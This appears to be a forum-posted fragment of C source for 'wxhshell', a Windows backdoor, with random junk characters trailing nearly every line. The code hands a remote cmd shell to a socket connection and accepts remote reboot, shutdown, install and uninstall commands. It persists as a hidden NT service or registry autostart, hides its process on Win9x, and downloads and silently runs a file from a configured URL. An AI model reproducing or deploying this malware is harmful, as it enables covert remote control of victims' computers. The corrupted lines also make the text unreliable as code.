  Mn<G9KR  
  // 帮助 y;0k |C   
  case '?': { 'Gn-8r+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .d\<}\zZ7J  
    break; GrwoV~  
  } ul{u^ j  
  // 安装 6]GEn=t  
  case 'i': { r6B\yH2  
    if(Install()) _`Ojh0@00  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WK{{U$:$  
    else {l/]+8G^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A5d(L4Q]a(  
    break; [dszz7/L  
    } 3YtFO;-  
  // 卸载 ;n-)4b]\  
  case 'r': { #g.J,L  
    if(Uninstall()) P)7_RE*gY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /F>\-    
    else <"SDU_<xG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Je|D]w  
    break; IEi E6z]L(  
    } Z*/*P4\  
  // 显示 wxhshell 所在路径 amPC C  
  case 'p': { Hk65c0  
    char svExeFile[MAX_PATH]; c*O{?b  
    strcpy(svExeFile,"\n\r"); X >i`z  
      strcat(svExeFile,ExeFile); Ch`nDIne  
        send(wsh,svExeFile,strlen(svExeFile),0); 0YMmWxV  
    break; s_(%1/{  
    } uYh6q1@"~  
  // 重启 gk%8iT  
  case 'b': { 3 cd5 g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jk$XL<t  
    if(Boot(REBOOT)) <Pg]V:=g'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9.bMA<X  
    else { x]({Po4  
    closesocket(wsh); oXCZpS  
    ExitThread(0); EYwDv4H,g  
    } \u|8MEB  
    break; 8vN}v3HV&  
    } fO!S^<9,-  
  // 关机 #3:;&@#  
  case 'd': { B{ i5UhxD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W]8tp@  
    if(Boot(SHUTDOWN)) 9!XW):  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =c)O8  
    else { >[4;K&$B  
    closesocket(wsh); myp}DI(  
    ExitThread(0); Y,v8eOo45S  
    } J6*Zy[)%&S  
    break; ?}QHEk:H  
    } }m?1IU %q  
  // 获取shell tDuQ+|~M  
  case 's': { GN36:>VWb  
    CmdShell(wsh); sFR'y.  
    closesocket(wsh); 8[\(*E}d!X  
    ExitThread(0); l)PEg PSRV  
    break; {J:ZM"GS  
  } uUAib<wdPL  
  // 退出 ~=t, g S  
  case 'x': { Vt_NvPB`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F8q&v"  
    CloseIt(wsh); O*af`J{  
    break; -j%!p^2j9  
    } X#s:C=q1  
  // 离开 #y~`nyg%|  
  case 'q': { <{C oM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 48.2_H<  
    closesocket(wsh); 8T5s6EmIOW  
    WSACleanup(); {FR#je  
    exit(1); !_+LmBd G  
    break; %ZV a{Nc  
        } kcH ?l  
  } Z`fm;7NiVG  
  } >\Qyg>Md]  
=rj5 q  
  // 提示信息 "RuH"~o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tS2P|fl  
} %eoO3"//  
  } 4m%RD&ZN  
H79|%@F"  
  return; U!@3['  
} ]Y|Y?  
&`7tX.iMlh  
// shell模块句柄 (h0i2>K  
int CmdShell(SOCKET sock) 8aw'Q?  
{ JGaS`fKSk  
STARTUPINFO si; Sr_]R<?  
ZeroMemory(&si,sizeof(si)); y8U|A0@$`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *Z7W'-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &~ g||rq  
PROCESS_INFORMATION ProcessInfo; CtbmX)vE  
char cmdline[]="cmd"; ;9,<&fe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;0V{^  
  return 0; XVi?- /2  
} X*F#=.lh  
]Mv.Rul?~  
// 自身启动模式 I71kFtvcy*  
int StartFromService(void)  ]A;zY%>  
{ xz dqE  
typedef struct iMnp `:*  
{ mA5xke_)  
  DWORD ExitStatus; zJ42%0g  
  DWORD PebBaseAddress; JLT ^0wBB  
  DWORD AffinityMask; rj"oz"  
  DWORD BasePriority; _20nOg`o  
  ULONG UniqueProcessId; #vJDb |z  
  ULONG InheritedFromUniqueProcessId; [wAI;=.  
}   PROCESS_BASIC_INFORMATION; "}PaMR]  
D_,}lsrb  
PROCNTQSIP NtQueryInformationProcess; 6xSdA;<+]  
`gq@LP"o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3_(fisvx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n!mtMPH$  
be`\ O  
  HANDLE             hProcess; ,R=Mr}@u  
  PROCESS_BASIC_INFORMATION pbi; h?2qX  
4oLrCQZ\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ![os5H.b#q  
  if(NULL == hInst ) return 0; R9gK>}>Y  
%n`wU-?lK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k<uC[)_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fZ6lnZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vukI`(#  
@bdGV#* d  
  if (!NtQueryInformationProcess) return 0; >\hu1C|W  
W:{1R&$l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); = >)S\Dfi  
  if(!hProcess) return 0; a4FvQH#j  
heiIb|z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .63:G<  
5haJPWG|'  
  CloseHandle(hProcess); xMDx<sk  
8$<jd^w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fU_itb(  
if(hProcess==NULL) return 0; [QA@XBy6  
0qSd #jO  
HMODULE hMod; AE1!u{  
char procName[255]; xtL_,ug  
unsigned long cbNeeded; Z^9;sb,x  
:(,uaX> {  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4w0 &f  
vBCQ-l<Ub  
  CloseHandle(hProcess); W[A;VOj0$  
fB[I1Z  
if(strstr(procName,"services")) return 1; // 以服务启动 vINm2%*zJ  
M(o?I}  
  return 0; // 注册表启动 l)`bm/k]V  
} y4s]*?Wz  
1]#qxjZ~  
// 主模块 [;II2[5 ,  
int StartWxhshell(LPSTR lpCmdLine) ),5^bl/  
{ <R>qOX8  
  SOCKET wsl; 9RwD_`D(MN  
BOOL val=TRUE; HF}%Ow  
  int port=0; H27_T]\  
  struct sockaddr_in door; TI:-Y@8  
T1?fC)  
  if(wscfg.ws_autoins) Install(); \?&P|7N  
+N2?fgA  
port=atoi(lpCmdLine); dK,j|  
0EfM~u  
if(port<=0) port=wscfg.ws_port; p=jD "lq  
wI\v5&X-B  
  WSADATA data; 6rMGl zuRo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }R* [7V9"  
@#Jc!p7)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OOS(YP@b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ! FbW7"yE  
  door.sin_family = AF_INET; 0V ,R|Ln  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /\_`Pkd3m  
  door.sin_port = htons(port); 1pogk0h.:  
}|MGYS)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W}V L3s  
closesocket(wsl); T(K~be  
return 1; j K?GB  
} Z8+{ -  
^Fgmwa'  
  if(listen(wsl,2) == INVALID_SOCKET) { m5 r65=E  
closesocket(wsl); D Cx3_  
return 1; B25@6   
} ['j_W$8n  
  Wxhshell(wsl); 61>@-55k9  
  WSACleanup(); oe,L&2Jz@  
Ej>5PXp'2  
return 0; l'HrU 1_7Y  
qT^R> p  
} t a_!  
5mdn77F_  
// 以NT服务方式启动 2/O/h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o:jLM7$=  
{ i>i@r ;:|  
DWORD   status = 0; azKbGS/X  
  DWORD   specificError = 0xfffffff; k !Nl#.j  
bIt%KG{PY6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; poj@ G{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &yN@(P)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VnW]-P*:  
  serviceStatus.dwWin32ExitCode     = 0; % \Nfj) 9  
  serviceStatus.dwServiceSpecificExitCode = 0; 2,?4'0Z@R  
  serviceStatus.dwCheckPoint       = 0; j#r|t+{"C  
  serviceStatus.dwWaitHint       = 0; 74hGkf^S  
0TK+R43_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CsG1HR@  
  if (hServiceStatusHandle==0) return; /PF X1hSu  
$EHAHNL?Lx  
status = GetLastError(); XNkw9*IT  
  if (status!=NO_ERROR) W*i PseXq  
{ x0B|CO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;o }pRC  
    serviceStatus.dwCheckPoint       = 0; @SeE,<  
    serviceStatus.dwWaitHint       = 0; j4Ppn  
    serviceStatus.dwWin32ExitCode     = status; We% -?l:"  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q.Uyl:^PxU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0\# uxzdhJ  
    return; 833KU_ N  
  } 0G?0 Bo  
/H&:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )MqF~[k<-  
  serviceStatus.dwCheckPoint       = 0; B]~#+rMK  
  serviceStatus.dwWaitHint       = 0; ?kvkkycI   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #R v&b@K  
} lx,^Y 647  
&*iar+vr  
// 处理NT服务事件,比如:启动、停止 pfsRV]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fl>*>)6pm  
{ @/i{By^C  
switch(fdwControl) T(%U$ea-S  
{ 3OTq  
case SERVICE_CONTROL_STOP: FC+K2Yf1=0  
  serviceStatus.dwWin32ExitCode = 0; ~Q%C>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (cJb/|?3  
  serviceStatus.dwCheckPoint   = 0; GY 4?}T^s  
  serviceStatus.dwWaitHint     = 0; MB;< F  
  { m~ :W$x1+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tep_g4CQR_  
  } &> 43l+  
  return; ^;4nHH7z-,  
case SERVICE_CONTROL_PAUSE: Ex^|[iV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6U)Lhf\'o  
  break; "MZj}}l  
case SERVICE_CONTROL_CONTINUE: ;Q>(%"z};  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m:A 7*r[  
  break; !~PLW]Z4  
case SERVICE_CONTROL_INTERROGATE: 1^rODfY0  
  break; .PBma/w W  
}; ?zp@HS a9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xo/[,rR  
} qV0C2jZ2  
1"{3v@yi  
// 标准应用程序主函数 _D7MJT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }2 zJ8A9-  
{ #]bWE$sU<  
lSU&Yqx  
// 获取操作系统版本 ~t\Hb8o  
OsIsNt=GetOsVer(); BoJ@bOe#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ];bB7+  
cU7 c}?J<  
  // 从命令行安装 )>08{7  
  if(strpbrk(lpCmdLine,"iI")) Install(); sXxF5&AF0  
Kt3/C'zu  
  // 下载执行文件 *L> gZ`Q  
if(wscfg.ws_downexe) { +o})Cs`|=A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g(m3 &  
  WinExec(wscfg.ws_filenam,SW_HIDE); \NwL#bQ~  
} mle"!*  
[I:D\)$<  
if(!OsIsNt) { 2^N 4(  
// 如果时win9x,隐藏进程并且设置为注册表启动 d[;=X.fZ2  
HideProc(); 8$}1|"F  
StartWxhshell(lpCmdLine); AU@K5jwDwQ  
} zn|~{9>y  
else {:M5t1^UC  
  if(StartFromService()) `vWFTv  
  // 以服务方式启动 xq1 =O  
  StartServiceCtrlDispatcher(DispatchTable); u1 d{|fF  
else |Q2H^dU'rQ  
  // 普通方式启动 kK+ <n8R2  
  StartWxhshell(lpCmdLine); /]4[b!OTJ  
aW$( lf2;  
return 0; /pzEL  
}
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只看该作者 1 发表于: 2006-10-10
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